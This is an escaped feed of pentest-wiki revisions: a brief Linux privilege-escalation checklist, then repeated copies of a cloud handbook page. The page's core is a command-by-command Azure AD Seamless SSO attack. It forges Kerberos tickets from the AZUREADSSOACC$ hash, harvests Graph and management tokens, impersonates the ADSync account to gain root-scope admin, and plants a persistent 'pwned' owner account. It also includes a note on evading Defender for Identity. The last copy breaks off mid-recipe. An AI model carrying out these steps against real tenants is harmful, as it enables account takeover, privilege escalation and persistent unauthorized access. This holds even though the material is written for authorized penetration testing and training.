Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2369</id>
		<title>Handbook III - Cloud</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2369"/>
		<updated>2026-05-26T08:44:27Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Azure AD Kerberos SSO Attack — Pentest Notes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Entra ID (Azure) ==&lt;br /&gt;
&lt;br /&gt;
Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking &amp;amp; Defending Azure Cloud: Beginner&#039;s Edition (CARTP) (alteredsecurity.com)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]&lt;br /&gt;
&lt;br /&gt;
* How to use Graph API for C2 communication&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
[[Category:Handbooks]]&lt;br /&gt;
&lt;br /&gt;
==  Azure Administrative Tiering (AzTier) == &lt;br /&gt;
https://aztier.com/&lt;br /&gt;
&lt;br /&gt;
== Azure AD Kerberos SSO Attack — Pentest Notes ==&lt;br /&gt;
&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
* Domain Admin / DC access&lt;br /&gt;
* &amp;lt;code&amp;gt;AZUREADSSOACC$&amp;lt;/code&amp;gt; NTLM hash extracted via SecretsDump&lt;br /&gt;
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)&lt;br /&gt;
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient&lt;br /&gt;
&lt;br /&gt;
=== Tool Installation ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals-Endpoints&amp;quot;&lt;br /&gt;
Import-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip install roadrecon --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 1 — Confirm SSO Enabled ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table&lt;br /&gt;
# Look for DesktopSSO: True&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 — Enumerate Accounts via rpcclient ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you don&#039;t have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. &lt;br /&gt;
rpcclient -U &amp;quot;domain/user%password&amp;quot; &amp;lt;DC_IP&amp;gt;&lt;br /&gt;
enumdomusers&lt;br /&gt;
lookupnames &amp;lt;username&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 3 — Forge Kerberos Ticket ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)&lt;br /&gt;
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX&lt;br /&gt;
# Use SID for a user that is synced between Azure AD and local Active Directory. &lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;AD_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 4 — Get Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important: each tool needs a different token audience&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! Audience !! AADInternals Command&lt;br /&gt;
|-&lt;br /&gt;
| roadrecon gather || &amp;lt;code&amp;gt;https://graph.windows.net&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAADGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Connect-MgGraph / Get-MgUser || &amp;lt;code&amp;gt;https://graph.microsoft.com&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForMSGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Azure Core Management || &amp;lt;code&amp;gt;https://management.core.windows.net/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAzureCoreManagement&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Get all three and save to cache&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5 — Enumerate Azure AD with ROADrecon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
roadrecon auth --access-token &amp;lt;AADGraph_token&amp;gt;&lt;br /&gt;
roadrecon gather -f .roadtools_auth&lt;br /&gt;
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6 — Connect Microsoft Graph &amp;amp; Check Context ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Connect using MSGraph token&lt;br /&gt;
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com&lt;br /&gt;
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)&lt;br /&gt;
&lt;br /&gt;
# Check current session context and user&lt;br /&gt;
$me = Get-MgContext&lt;br /&gt;
Write-Output $me&lt;br /&gt;
&lt;br /&gt;
# List all scopes/permissions granted to the token&lt;br /&gt;
(Get-MgContext).Scopes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7 — Check Token Permissions ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Decode token — check scp, roles, wids, aud, upn claims&lt;br /&gt;
Read-AADIntAccessToken -AccessToken &amp;lt;token&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Decode at &#039;&#039;&#039;jwt.ms&#039;&#039;&#039; for a clean readable view.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Claim !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; || Delegated scopes e.g. Directory.Read.All&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;roles&amp;lt;/code&amp;gt; || Application role assignments&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;wids&amp;lt;/code&amp;gt; || Directory role GUIDs (Global Admin etc.)&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;aud&amp;lt;/code&amp;gt; || Which API this token is valid for&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;upn&amp;lt;/code&amp;gt; || Which user this token belongs to&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Step 8 — Escalate to Global Admin ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Impersonate ADSync account (high value — has directory sync rights by design)&lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;ADSync_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&lt;br /&gt;
# Elevate to User Access Administrator at root scope&lt;br /&gt;
Grant-AADIntAzureUserAccessAdminRole&lt;br /&gt;
&lt;br /&gt;
# Verify subscription access&lt;br /&gt;
Get-AADIntAzureSubscriptions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 9 — Create Persistent Cloud User ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Note the ObjectID in the output&lt;br /&gt;
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName &amp;quot;pwned user&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Assign subscription ownership&lt;br /&gt;
$subScope = &amp;quot;subscriptions/&amp;lt;subscription_id&amp;gt;&amp;quot;&lt;br /&gt;
New-AzRoleAssignment -ObjectID &amp;lt;ObjectID&amp;gt; -RoleDefinitionName &amp;quot;Owner&amp;quot; -Scope $subScope&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2368</id>
		<title>Handbook III - Cloud</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2368"/>
		<updated>2026-05-26T08:44:00Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Step 9 — Create Persistent Cloud User */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Entra ID (Azure) ==&lt;br /&gt;
&lt;br /&gt;
Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking &amp;amp; Defending Azure Cloud: Beginner&#039;s Edition (CARTP) (alteredsecurity.com)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]&lt;br /&gt;
&lt;br /&gt;
* How to use Graph API for C2 communication&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
[[Category:Handbooks]]&lt;br /&gt;
&lt;br /&gt;
== Azure AD Kerberos SSO Attack — Pentest Notes ==&lt;br /&gt;
&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
* Domain Admin / DC access&lt;br /&gt;
* &amp;lt;code&amp;gt;AZUREADSSOACC$&amp;lt;/code&amp;gt; NTLM hash extracted via SecretsDump&lt;br /&gt;
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)&lt;br /&gt;
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient&lt;br /&gt;
&lt;br /&gt;
=== Tool Installation ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals-Endpoints&amp;quot;&lt;br /&gt;
Import-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip install roadrecon --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 1 — Confirm SSO Enabled ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table&lt;br /&gt;
# Look for DesktopSSO: True&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 — Enumerate Accounts via rpcclient ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you don&#039;t have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. &lt;br /&gt;
rpcclient -U &amp;quot;domain/user%password&amp;quot; &amp;lt;DC_IP&amp;gt;&lt;br /&gt;
enumdomusers&lt;br /&gt;
lookupnames &amp;lt;username&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 3 — Forge Kerberos Ticket ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)&lt;br /&gt;
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX&lt;br /&gt;
# Use SID for a user that is synced between Azure AD and local Active Directory. &lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;AD_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 4 — Get Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important: each tool needs a different token audience&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! Audience !! AADInternals Command&lt;br /&gt;
|-&lt;br /&gt;
| roadrecon gather || &amp;lt;code&amp;gt;https://graph.windows.net&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAADGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Connect-MgGraph / Get-MgUser || &amp;lt;code&amp;gt;https://graph.microsoft.com&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForMSGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Azure Core Management || &amp;lt;code&amp;gt;https://management.core.windows.net/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAzureCoreManagement&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Get all three and save to cache&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5 — Enumerate Azure AD with ROADrecon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
roadrecon auth --access-token &amp;lt;AADGraph_token&amp;gt;&lt;br /&gt;
roadrecon gather -f .roadtools_auth&lt;br /&gt;
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6 — Connect Microsoft Graph &amp;amp; Check Context ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Connect using MSGraph token&lt;br /&gt;
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com&lt;br /&gt;
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)&lt;br /&gt;
&lt;br /&gt;
# Check current session context and user&lt;br /&gt;
$me = Get-MgContext&lt;br /&gt;
Write-Output $me&lt;br /&gt;
&lt;br /&gt;
# List all scopes/permissions granted to the token&lt;br /&gt;
(Get-MgContext).Scopes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7 — Check Token Permissions ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Decode token — check scp, roles, wids, aud, upn claims&lt;br /&gt;
Read-AADIntAccessToken -AccessToken &amp;lt;token&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Decode at &#039;&#039;&#039;jwt.ms&#039;&#039;&#039; for a clean readable view.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Claim !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; || Delegated scopes e.g. Directory.Read.All&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;roles&amp;lt;/code&amp;gt; || Application role assignments&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;wids&amp;lt;/code&amp;gt; || Directory role GUIDs (Global Admin etc.)&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;aud&amp;lt;/code&amp;gt; || Which API this token is valid for&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;upn&amp;lt;/code&amp;gt; || Which user this token belongs to&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Step 8 — Escalate to Global Admin ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Impersonate ADSync account (high value — has directory sync rights by design)&lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;ADSync_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&lt;br /&gt;
# Elevate to User Access Administrator at root scope&lt;br /&gt;
Grant-AADIntAzureUserAccessAdminRole&lt;br /&gt;
&lt;br /&gt;
# Verify subscription access&lt;br /&gt;
Get-AADIntAzureSubscriptions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 9 — Create Persistent Cloud User ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Note the ObjectID in the output&lt;br /&gt;
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName &amp;quot;pwned user&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Assign subscription ownership&lt;br /&gt;
$subScope = &amp;quot;subscriptions/&amp;lt;subscription_id&amp;gt;&amp;quot;&lt;br /&gt;
New-AzRoleAssignment -ObjectID &amp;lt;ObjectID&amp;gt; -RoleDefinitionName &amp;quot;Owner&amp;quot; -Scope $subScope&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2367</id>
		<title>Handbook III - Cloud</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2367"/>
		<updated>2026-05-26T08:42:42Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Entra ID (Azure) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Entra ID (Azure) ==&lt;br /&gt;
&lt;br /&gt;
Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking &amp;amp; Defending Azure Cloud: Beginner&#039;s Edition (CARTP) (alteredsecurity.com)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]&lt;br /&gt;
&lt;br /&gt;
* How to use Graph API for C2 communication&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
[[Category:Handbooks]]&lt;br /&gt;
&lt;br /&gt;
== Azure AD Kerberos SSO Attack — Pentest Notes ==&lt;br /&gt;
&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
* Domain Admin / DC access&lt;br /&gt;
* &amp;lt;code&amp;gt;AZUREADSSOACC$&amp;lt;/code&amp;gt; NTLM hash extracted via SecretsDump&lt;br /&gt;
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)&lt;br /&gt;
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient&lt;br /&gt;
&lt;br /&gt;
=== Tool Installation ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals-Endpoints&amp;quot;&lt;br /&gt;
Import-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip install roadrecon --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 1 — Confirm SSO Enabled ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table&lt;br /&gt;
# Look for DesktopSSO: True&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 — Enumerate Accounts via rpcclient ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you don&#039;t have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. &lt;br /&gt;
rpcclient -U &amp;quot;domain/user%password&amp;quot; &amp;lt;DC_IP&amp;gt;&lt;br /&gt;
enumdomusers&lt;br /&gt;
lookupnames &amp;lt;username&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 3 — Forge Kerberos Ticket ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)&lt;br /&gt;
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX&lt;br /&gt;
# Use SID for a user that is synced between Azure AD and local Active Directory. &lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;AD_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 4 — Get Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important: each tool needs a different token audience&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! Audience !! AADInternals Command&lt;br /&gt;
|-&lt;br /&gt;
| roadrecon gather || &amp;lt;code&amp;gt;https://graph.windows.net&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAADGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Connect-MgGraph / Get-MgUser || &amp;lt;code&amp;gt;https://graph.microsoft.com&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForMSGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Azure Core Management || &amp;lt;code&amp;gt;https://management.core.windows.net/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAzureCoreManagement&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Get all three and save to cache&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5 — Enumerate Azure AD with ROADrecon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
roadrecon auth --access-token &amp;lt;AADGraph_token&amp;gt;&lt;br /&gt;
roadrecon gather -f .roadtools_auth&lt;br /&gt;
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6 — Connect Microsoft Graph &amp;amp; Check Context ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Connect using MSGraph token&lt;br /&gt;
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com&lt;br /&gt;
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)&lt;br /&gt;
&lt;br /&gt;
# Check current session context and user&lt;br /&gt;
$me = Get-MgContext&lt;br /&gt;
Write-Output $me&lt;br /&gt;
&lt;br /&gt;
# List all scopes/permissions granted to the token&lt;br /&gt;
(Get-MgContext).Scopes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7 — Check Token Permissions ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Decode token — check scp, roles, wids, aud, upn claims&lt;br /&gt;
Read-AADIntAccessToken -AccessToken &amp;lt;token&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
